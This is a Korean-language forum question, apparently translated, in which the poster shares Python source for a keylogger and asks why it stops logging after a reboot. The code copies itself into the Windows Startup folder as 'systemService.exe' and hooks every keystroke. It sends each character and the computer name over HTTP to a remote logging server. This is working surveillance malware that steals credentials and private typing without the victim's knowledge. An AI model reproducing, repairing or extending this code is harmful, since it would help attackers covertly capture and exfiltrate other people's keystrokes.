
시작 시 자동으로 실행되는 Python 키로거를 만들려고 합니다. 다음은 파이썬 코드입니다.
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
이 키로거는 php를 사용하여 코드에 명명된 서버에 모든 ASCII 데이터를 기록합니다. 이 pyw 파일을 실행하면 제대로 작동하지만 PC를 재부팅하면 서버의 파일에 로그인하지 않습니다. 이 프로그램이 시작 디렉토리에 있고 재부팅 후 백그라운드에서 실행되고 있는지 두 번 확인했습니다. 하지만 여전히 서버 파일에 데이터를 기록하지 않습니다.